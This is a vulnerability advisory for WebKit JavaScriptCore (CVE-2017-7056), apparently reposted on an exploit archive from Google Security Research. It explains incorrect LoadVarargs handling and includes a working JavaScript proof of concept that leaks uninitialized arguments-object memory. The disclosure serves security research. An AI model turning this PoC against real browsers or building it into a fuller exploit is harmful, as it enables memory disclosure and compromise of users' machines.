Lucene search

K
zdtGoogle Security Research1337DAY-ID-28187
HistoryJul 25, 2017 - 12:00 a.m.

WebKit JSC ArgumentsEliminationPhase::transform Incorrect LoadVarargs Handling Vulnerability

2017-07-2500:00:00
Google Security Research
0day.today
37
webkit
jsc
argumentseliminationphase
transform
vulnerability
loadvarargs
phantomnewarraywithspread
phantomspread
condition
poc
classforinine
disclosure
exploit

EPSS

0.052

Percentile

93.1%

WebKit JSC suffers from incorrect LoadVarargs handling in ArgumentsEliminationPhase::transform.

WebKit: JSC: Incorrect LoadVarargs handling in ArgumentsEliminationPhase::transform 

CVE-2017-7056


Here is a snippet of ArgumentsEliminationPhase::transform
    case LoadVarargs:
        ...
        if (candidate->op() == PhantomNewArrayWithSpread || candidate->op() == PhantomSpread) {
            ...
            if (argumentCountIncludingThis <= varargsData->limit) {
                storeArgumentCountIncludingThis(argumentCountIncludingThis);
                // store arguments
                ...
            }

            node->remove();
            node->origin.exitOK = canExit;
            break;
        }

Whether or not the "argumentCountIncludingThis <= varargsData->limit" condition is satisfied, it removes the |node| variable and exits the switch statement. So in this case the condition is not satisfied, the arguments object created by the following code(CreateDirectArguments in the PoC) may have uninitialized values and length.

PoC:
const kArgsLength = 0x101;

let buggy = null;
function inlineFunc() {
    if (arguments.length != kArgsLength) {
        buggy = arguments;
    }
}

class ClassForInine extends inlineFunc {
}

function sleep(ms) {
    let start = new Date();
    while (new Date() - start < ms);
}

function main() {
    let args = new Array(kArgsLength);
    args.fill(333 + 1);
    args = args.join(', ');

    let opt = new Function(`(() => {
        new ClassForInine(${args});
    })();`);

    for (let i = 0; i < 0x100000; i++) {
        opt();

        if (i === 0x3000)
            sleep(1000);

        if (buggy) {
            print('buggy.length: ' + buggy.length);
            break;
        }
    }

    for (let i = 0, n = buggy.length; i < n; i++) {
        print(buggy[i]);
    }
}

main();

This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.


#  0day.today [2018-03-12]  #